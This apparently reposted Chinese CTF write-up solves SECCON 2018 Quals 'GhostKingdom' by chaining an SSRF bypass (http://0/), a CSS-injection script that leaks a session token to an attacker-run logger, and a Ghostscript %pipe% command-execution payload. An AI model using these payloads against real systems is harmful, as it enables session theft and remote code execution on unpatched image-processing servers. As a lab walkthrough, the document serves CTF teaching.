SECCON 2018 Qualis GhostKingdom

栏目: CSS · 发布时间: 6年前

内容简介:题目链接:访问链接后的提示如下:首先是一个登录界面:

题目链接:

http://ghostkingdom.pwn.seccon.jp/FLAG/

访问链接后的提示如下:

FLAG is somewhere in this folder.   GO TO TOP

首先是一个登录界面:

SECCON 2018 Qualis GhostKingdom

一通操作后发现没有注入,所以跟着逻辑注册登录继续往下看。

登录后发现侧面有三个功能,但是上传功能被禁止了,标识只有从本地登录才可以使用。尝试修改xxf等方式并没有成功,所以猜测可能是cookie认证问题?

SECCON 2018 Qualis GhostKingdom

但或者上传处不是关键点,先从上面两个功能开始测试。首先测试 Message to admin ,刚开始猜测可能此处会不会有一个xss bot,打个cookie回来。虽然这个输入框也不存在xss,也没有bot周期性地戳一下,但是在burp抓包中分析到一个css参数可控。联想到可能是CSS 注入读数据这个点,但是我还缺少一个从本地戳戳戳的bot!

SECCON 2018 Qualis GhostKingdom

SECCON 2018 Qualis GhostKingdom

此处我们decode一下这个base64可以看到是控制此处的输出样式。

 zeroyu@zeros  ~/Desktop  echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -D
span{background-color:red;color:yellow}

点击send to admin之后我看到一个csrf参数(有用?)

SECCON 2018 Qualis GhostKingdom

好像无法但从这一个点入手,所以我决定看看 Take a screenshot

SECCON 2018 Qualis GhostKingdom

很明显是一个ssrf,不过file等协议都被限制了,302跳转好像也没开。虽然限制了127等,但是我们可以通过访问 http://0/ 绕过,结果还是有惊喜的。

SECCON 2018 Qualis GhostKingdom

PS:扫描过程中发现了一个有趣的东西

http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi

SECCON 2018 Qualis GhostKingdom

小结:

本来我以为这题是三个点分别突破都可以获取flag,但现在看来不行,真是继承了KeigoYAMAZAKI一贯的出题风格,要综合以上信息,构造利用链来读取flag

0x01 解题步骤

首先 Take a screenshot 处的ssrf可以让我们从 local network 那里进行登录,登录之后可以操作 Upload image

SECCON 2018 Qualis GhostKingdom

但是仅通过这个有限制的ssrf无法进一步利用了。所以换一个角度考虑,如果我们能够从 local network 获取 CGISESSIDfrom internet 进行登录就可以使用 Upload image 功能了呢?

有了这个思路接下来就是获取 CGISESSID 了,联想到 Message to admin 还有一个css inject可以用来读取数据,所以就可以ssrf+css inject联合来获取 CGISESSID

此处可以参考: Reading Data via CSS Injection

服务器上使用 php 开个服务器来记录数据

php -S 0.0.0.0:2333

对应的目录下可以放置如下log.php来帮助记录

<?php
date_default_timezone_set('Asia/Shanghai');
$ip       = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];	//访问者要访问的文件名
$parameter   = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time     =   date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

利用脚本如下:

import base64
CHARLIST = "0123456789" + "abcdef"
URL = "http://0/?msg=master&action=msgadm2&css="
#
known = "bcc703c0693e6eff894ede"
buf = ""
for char in CHARLIST:
    buf += """input[name="csrf"][value^="{}"] {{
background: url(http://your server ip/log.php/{});
}}""".format(known+char,known+char)

print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))

最终可以获取 CGISESSID 的值

SECCON 2018 Qualis GhostKingdom

之后在浏览器中设置上我们获得的 CGISESSID ,就可以使用 Upload image 功能了。

SECCON 2018 Qualis GhostKingdom

测试一下

SECCON 2018 Qualis GhostKingdom

SECCON 2018 Qualis GhostKingdom

发现有个 Convert to GIF format 结合之前我们发现的 ghostMagick.cgi 很容易想到Ghostscript的rce漏洞。我们将以下代码保存为jpg,上传可以得flag。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

SECCON 2018 Qualis GhostKingdom

SECCON{CSSinjection+GhostScript/ImageMagickRCE}


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

jQuery实战

jQuery实战

Bear Bibeault、Yehuda Katz / 陈宁 / 人民邮电出版社 / 2009.1 / 49.00元

《jQuery实战》全面介绍jQuery知识,展示如何遍历HTML文档、处理事件、执行动画以及给网页添加Ajax。书中紧紧地围绕“用实际的示例来解释每一个新概念”这一宗旨,生动描述了jQuery如何与其他工具和框架交互以及如何生成jQuery插件。jQuery 是目前最受欢迎的JavaScript/Ajax库之一,能用最少的代码实现最多的功能。 点击链接进入新版: jQuery......一起来看看 《jQuery实战》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具